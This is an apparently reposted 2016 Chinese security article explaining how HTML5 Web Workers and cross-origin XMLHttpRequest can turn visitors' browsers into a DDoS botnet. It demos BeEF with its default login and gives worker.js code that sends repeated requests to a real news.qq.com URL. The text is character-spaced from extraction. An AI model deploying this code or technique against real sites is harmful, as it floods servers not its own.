搜索

[497] 2016-11-25_浅谈Web前端僵尸网络

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-16
2016-11-25_浅谈Web前端僵尸网络 浅 谈 W e b 前 端 僵 尸 网 络 原 创   Z e b o r k   A r k T e a m   2 0 1 6 - 1 1 - 2 5 一 、 一 、 W e b 前 端 僵 尸 网 络 的 基 本 原 理 前 端 僵 尸 网 络 的 基 本 原 理 僵 尸 网 络 （ B o t n e t ） 已 出 现 多 年 ， 对 网 络 安 全 构 成 了 巨 大 的 挑 战 。 随 着 攻 防 技 术 的 发 展 ， 除 了 基 于 P C 和 服 务 器 的 传 统 僵 尸 网 络 ， 近 年 来 ， 还 出 现 了 多 种 形 态 的 僵 尸 网 络 ， 如 基 于 智 能 手 机 、 I O T 设 备 或 者 W e b s h e l l 等 等 的 新 型 僵 尸 网 络 。 除 此 之 外 ， 本 文 将 介 绍 一 种 基 于 W e b 前 端 的 僵 尸 网 络 。 在 新 的 H T M L 5 标 准 越 来 越 广 泛 地 被 使 用 之 后 ， H T M L 5 的 强 大 功 能 为 构 建 僵 尸 网 络 提 供 了 可 能 性 。 由 于 这 种 僵 尸 网 络 基 于 支 持 H T M L 5 的 W e b 前 端 浏 览 器 ， 所 以 其 权 限 很 低 。 不 过 ， 基 于 W e b 前 端 的 僵 尸 网 络 至 少 可 以 用 作 D D O S 攻 击 ， 如 果 处 理 得 当 ， 也 可 以 用 作 对 H T T P 服 务 器 进 行 扫 描 等 操 作 。 下 面 是 本 文 总 结 的 W e b 前 端 僵 尸 网 络 的 技 术 基 础 ： 1 、 H T M L 5   新 增 技 术 — — W e b   W o r k e r 技 术 。 这 是 一 种 多 线 程 机 制 ， 使 得 浏 览 器 可 以 在 不 影 响 用 户 操 作 的 同 时 处 理 其 他 事 务 ， 这 为 恶 意 的 J S 脚 本 提 供 了 异 步 环 境 ； 2 、 H T M L 5   新 增 机 制 — — 跨 域 资 源 共 享 机 制 （ C O R S ） 。 C O R S 处 理 机 制 工 作 在 浏 览 器 层 面 ， 如 果 服 务 器 不 允 许 跨 站 ， 浏 览 器 将 拦 截 服 务 器 返 回 的 结 果 。 也 就 是 说 即 使 是 跨 域 请 求 ， 服 务 器 也 同 样 会 处 理 ， 并 正 常 返 回 请 求 的 资 源 。 这 个 技 术 本 身 其 实 不 对 僵 尸 网 络 构 成 支 持 ， 但 是 H T M L 5 支 持 C O R S 机 制 之 后 并 未 禁 止 跨 域 发 送 请 求 ， 这 就 成 了 前 端 僵 尸 网 络 立 足 的 关 键 ； 3 、 W e b 蠕 虫 。 类 似 于 传 统 的 蠕 虫 病 毒 ， W e b 蠕 虫 使 前 端 僵 尸 网 络 可 以 自 行 传 播 ， 结 合 W e b 蠕 虫 ， 前 端 僵 尸 网 络 可 以 相 对 容 易 地 形 成 规 模 。 以 上 三 个 技 术 点 ， 合 成 在 一 起 ， 为 僵 尸 网 络 的 存 在 提 供 了 基 本 条 件 。 下 面 进 行 详 细 介 绍 。 W e b   W o r k e r W e b   W o r k e r   是 运 行 在 后 台 的   J a v a s c r i p t ， 独 立 于 其 他 脚 本 ， 不 会 影 响 页 面 的 性 能 。 下 面 简 单 列 举 一 下 W e b   W o r k e r 能 够 做 什 么 。 1 . 可 以 加 载 一 个 J S 进 行 大 量 的 复 杂 计 算 而 不 挂 起 主 进 程 ， 用 户 可 以 在 W o r k e r 运 行 期 间 做 点 击 、 选 取 内 容 等 等 任 何 事 情 ； 2 . 可 以 通 过 p o s t M e s s a g e ， o n m e s s a g e 方 法 进 行 线 程 通 信 ； 3 . 可 以 在 W o r k e r 中 通 过 i m p o r t S c r i p t s ( u r l ) 加 载 另 外 的 脚 本 文 件 ； 4 . 可 以 使 用   s e t T i m e o u t ， c l e a r T i m e o u t ， s e t I n t e r v a l ， c l e a r I n t e r v a l 等 方 法 ； 5 . 可 以 使 用 X M L H t t p R e q u e s t 来 发 送 请 求 ， 以 及 访 问 n a v i g a t o r 的 部 分 属 性 。 W e b   W o r k e r 增 强 了 浏 览 器 的 能 力 。 功 能 强 大 了 ， 危 险 性 也 随 之 增 大 了 。 C O R S 跨 域 资 源 共 享 机 制 跨 域 资 源 共 享 机 制 跨 域 H T T P 请 求 ( C r o s s - s i t e   H T T P   r e q u e s t ) 是 一 类 相 对 特 殊 的 浏 览 器 请 求 ， 这 种 请 求 不 是 浏 览 器 向 在 本 页 面 为 它 提 供 资 源 的 域 名 发 起 的 ， 而 是 浏 览 器 向 其 他 的 域 名 发 起 的 。 C O R S 机 制 可 以 让 W e b 应 用 服 务 器 能 支 持 跨 站 访 问 控 制 ， 从 而 使 得 安 全 地 进 行 跨 站 数 据 传 输 成 为 可 能 。 很 多 文 章 和 资 料 对 C O R S 机 制 内 部 工 作 原 理 解 释 的 不 够 清 楚 ， 导 致 本 人 一 度 以 为 C O R S 是 在 跨 域 请 求 发 出 时 拦 截 或 者 在 服 务 器 层 次 禁 止 了 资 源 的 返 回 。 然 而 实 际 上 C O R S 安 全 机 制 并 没 有 针 对 服 务 器 提 供 任 何 保 护 。 本 文 只 针 对 X M L H t t p R e q u e s t 总 结 以 下 几 点 ： 1 . X M L H t t p R e q u e s t 请 求 可 以 发 送 到 跨 域 服 务 器 ； 2 . 跨 域 服 务 器 会 对 之 前 的 X M L H t t p R e q u e s t 做 出 响 应 ； 3 . 跨 域 服 务 器 对 X M L H t t p R e q u e s t 的 响 应 和 正 常 访 问 这 个 服 务 器 产 生 的 响 应 没 有 任 何 区 别 ； 4 . 未 能 加 载 服 务 器 资 源 的 原 因 是 浏 览 器 对 跨 域 资 源 做 出 了 拦 截 限 制 。 因 此 ， 对 于 服 务 器 来 说 ， 假 设 有 1 0 0 0 0 个 X M L H t t p R e q u e s t 同 时 对 某 资 源 发 出 请 求 ， 以 上 的 请 求 与 1 0 0 0 0 个 用 户 同 时 用 浏 览 器 正 常 访 问 这 个 资 源 是 等 价 的 ， 因 为 都 要 做 同 样 的 处 理 ， 都 要 返 回 同 样 的 内 容 。 这 也 就 是 说 ， 使 用 W e b   W o r k e r 和
X M L H t t p R e q u e s t 进 行 D D O S 攻 击 是 可 行 的 。 W e b 蠕 虫 蠕 虫 W e b 蠕 虫 是 W e b 前 端 僵 尸 自 行 传 播 的 方 法 。 这 种 机 制 利 用 的 是 传 统 前 端 漏 洞 ， 例 如 X S S 漏 洞 。 本 文 没 有 尝 试 实 现 僵 尸 节 点 （ W e b 前 端 ） 和 控 制 端 的 交 互 ， 这 需 要 更 复 杂 的 J S 代 码 ， 顺 便 提 一 下 已 经 实 现 此 类 功 能 的 B e E F X S S 框 架 。 这 个 框 架 很 流 行 ， 集 成 了 很 多 功 能 ， 甚 至 能 够 结 合 M S F 使 用 。 但 是 这 些 不 在 本 文 的 探 究 范 围 之 内 。 本 文 只 对 这 个 框 架 控 制 端 和 僵 尸 节 点 的 交 互 进 行 演 示 。 K a l i   L i n u x 系 统 中 集 成 了 这 个 工 具 ， 本 文 用 K a l i   L i n u x 虚 拟 机 进 行 演 示 。 打 开 B e E F 框 架 之 后 如 图 所 示 ， 不 要 关 闭 这 个 终 端 ， 等 待 程 序 加 载 完 成 后 ， 一 般 情 况 下 浏 览 器 会 弹 出 ， 如 果 没 有 弹 出 ， 打 开 浏 览 器 手 动 输 入 终 端 中 显 示 的 U I   U R L 。
默 认 的 用 户 名 和 密 码 都 是 b e e f 。 登 录 成 功 后 的 页 面 如 下 ： 首 页 上 有 一 些 被 植 入 恶 意 J a v a s c r i p t 的 D e m o 。 为 了 演 示 的 方 便 ， 使 用 实 体 机 的 S a f a r i 浏 览 器 进 行 访 问 ， 将 会 在 左 侧 显 示 信 息 。 接 下 来 按 照 下 图 点 击 到 如 下 页 面 。
点 击 红 色 圆 圈 中 的 E x e c u t e 之 后 ， 将 会 在 用 户 浏 览 器 执 行 上 面 方 框 中 输 入 的 J a v a s c r i p t 代 码 ， 给 用 户 的 浏 览 器 弹 出 一 个 对 话 框 ， 下 图 是 实 体 机 的 S a f a r i 浏 览 器 中 的 效 果 ： 通 过 这 种 方 式 ， 就 可 以 在 用 户 的 浏 览 器 中 执 行 控 制 端 需 要 僵 尸 节 点 执 行 的 代 码 。 有 兴 趣 的 朋 友 可 以 去 读 一 下 B e E F 框 架 中 h o o k . j s 文 件 源 代 码 ， 应 该 会 有 很 多 启 发 。 二 、 僵 尸 网 络 节 点 代 码 测 试 （ 源 代 码 根 据 《 二 、 僵 尸 网 络 节 点 代 码 测 试 （ 源 代 码 根 据 《 W e b 前 端 黑 客 技 术 揭 秘 一 书 》 实 例 修 改 ） 前 端 黑 客 技 术 揭 秘 一 书 》 实 例 修 改 ） 测 试 的 思 路 是 ： 植 入 恶 意 J a v a s c r i p t 代 码 ， 批 量 对 某 网 站 发 送 1 0 0 次 X M L H t t p R e q u e s t ， 此 次 尝 试 的 对 象 是 腾 讯 的 网 站 ， 因 为 单 个 节 点 的 1 0 0 次 请 求 肯 定 对 腾 讯 服 务 器 无 影 响 。 攻 击 u r l 为 ： h t t p : / / n e w s . q q . c o m / p h o t o . s h t m l ， 用 户 访 问 的 u r l 为 ： h t t p : / / l o c a l h o s t / b o t n e t / i n d e x . h t m l ， 测 试 代 码 见 附 录 。 通 过 W i r e s h a r k 和 c h r o m e 浏 览 器 n e t w o r k 开 发 者 工 具 对 测 试 结 果 进 行 分 析 ： W i r e s h a r k 抓 到 的 t c p 流 ：
详 细 查 看 R e s p o n s e ： C h r o m e ：
可 以 看 到 ， W i r e s h a r k 抓 到 了 R e s p o n s e 是 有 资 源 数 据 的 ， 但 是 C h r o m e 中 得 到 的 只 有 服 务 器 返 回 的 状 态 信 息 ， 这 是 C O R S 机 制 在 浏 览 器 层 次 对 于 跨 域 资 源 做 了 限 制 。 但 是 ， W i r e s h a r k 抓 包 得 到 的 数 据 可 以 证 明 服 务 器 实 实 在 在 地 对 每 个 请 求 都 做 出 了 正 常 的 响 应 。 当 这 样 的 僵 尸 节 点 数 目 和 W e b   W o r k e r 并 发 数 目 都 增 大 到 一 定 的 等 级 ， 理 论 上 就 可 以 形 成 强 大 的 D D O S 攻 击 了 。 三 、 总 结 三 、 总 结 H T M L 5 时 代 的 W e b 前 端 已 经 不 再 那 么 简 单 。 支 持 H T M L 5 的 浏 览 器 ， 给 了 僵 尸 网 络 足 够 的 生 存 空 间 。 附 录 ： 测 试 代 码 （ 根 据 《 附 录 ： 测 试 代 码 （ 根 据 《 W e b 前 端 黑 客 技 术 揭 秘 》 示 例 代 码 修 改 ） 前 端 黑 客 技 术 揭 秘 》 示 例 代 码 修 改 ） r u n _ w o r k e r . j s : v a r   w o r k e r _ l o c =   ' w o r k e r . j s ' ; v a r   w o r k e r s   =   n e w   A r r a y ( ) ; v a r   i   =   0 ; v a r   n o W o r k e r   =   t y p e o f   W o r k e r   = =   " u n d e f i n e d "   ?   t r u e   :   f a l s e ; v a r   t a r g e t   =   ' h t t p : / / n e w s . q q . c o m / p h o t o . s h t m l ' i f   ( ! n o W o r k e r )   {         t r y   {                 f o r   ( i   =   0 ;   i   <   1 ;   i + + )   {                         w o r k e r s [ i ]   =   n e w   W o r k e r ( w o r k e r _ l o c ) ;                         w o r k e r s [ i ] . p o s t M e s s a g e ( t a r g e t ) ;                 }         }         c a t c h   ( e )   {                 / / c o m m e n t   o u t   i n   r e l e a s e
                e   =   e   +   " " ;                 i f   ( e . i n d e x O f ( " W o r k e r   i s   n o t   e n a b l e d " )   ! =   - 1 )   {                         n o W o r k e r   =   t r u e ;                 }         } } 当 浏 览 器 支 持 W e b   W o r k e r 的 时 候 ， 就 会 根 据 代 码 循 环 建 立 W o r k e r 。 利 用 n e w   w o r k e r ( w o r k e r _ l o c ) 方 式 ， 创 建 W o r k e r 对 象 ， 并 利 用 W o r k e r 的 p o s t M e s s a g e 方 法 向 w o r k e r 发 送 指 令 等 数 据 。 多 个 W o r k e r 可 以 实 现 并 发 。 但 是 本 例 只 建 立 了 一 个 W o r k e r 。 w o r k e r . j s : f u n c t i o n   m a k e R e q u e s t ( b a s e )   {         v a r   f u l l U r l   =   b a s e         v a r   h t t p R e q u e s t   =   n e w   X M L H t t p R e q u e s t ( ) ;         h t t p R e q u e s t . o p e n ( " G E T " ,   f u l l U r l ,   t r u e ) ;         h t t p R e q u e s t . s e n d ( n u l l ) ; } f u n c t i o n   d o s ( b a s e )   {         v a r   i   =   0 ;         f o r   ( i   =   0 ;   i   <   1 0 0 ;   i + + )   {                 c o n s o l e . l o g ( b a s e ) ;                 m a k e R e q u e s t ( b a s e ) ;         } } s e l f . o n m e s s a g e   =   f u n c t i o n   ( e )   {         b a s e   =   e . d a t a ;         d o s ( b a s e ) ; } W e b   W o r k e r 可 以 使 用 X M L H t t p R e q u e s t 发 送 跨 域 请 求 。 这 个 函 数 可 以 使 用 G E T 和 P O S T 两 种 方 法 ， 一 般 使 用 G E T 方 法 就 可 以 了 ， 但 是 P O S T 方 法 不 限 制 发 送 长 度 和 字 符 ， 有 些 情 况 必 须 要 用 P O S T 方 法 。 本 例 中 采 用 G E T 方 法 测 试 。 i n d e x . h t m l : < s t y l e >         # p a g e   { w i d t h :   1 0 0 % ;   h e i g h t :   a u t o   ! i m p o r t a n t ; }         b o d y { m a r g i n : 0 } < / s t y l e > < s c r i p t   t y p e = " t e x t / j a v a s c r i p t " >         v a r   w o r k e r _ l o c   =   ' w o r k e r . j s ' ;
< / s c r i p t > < s c r i p t   t y p e = " t e x t / j a v a s c r i p t "   > < / s c r i p t > < / h e a d > < b o d y > < i f r a m e   i d = " p a g e "   n a m e = " p a g e "   s r c = " h t t p : / / w w w . e x a m p l e . c o m "   f r a m e b o r d e r = " 0 " n o r e s i z e = " n o r e s i z e "   s t y l e = " o v e r f l o w : v i s i b l e " > < / i f r a m e > < / b o d y > i n d e x . h t m l 几 乎 没 有 更 改 ， 因 为 这 个 网 页 的 内 容 对 恶 意 J a v a s c r i p t 的 测 试 没 有 影 响 。 更 多 精 彩 内 容 ， 请 关 注 ： 1 .   A r k T e a m 官 方 微 信 官 方 微 信 — 公 众 账 号 名 称 ： A r k T e a m 2 .   A r k T e a m 官 方 微 博 ： 官 方 微 博 ： 昵 称 ： A r k T e a m 网 址 ： h t t p : / / w w w . w e i b o . c o m / a r k t e a m 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理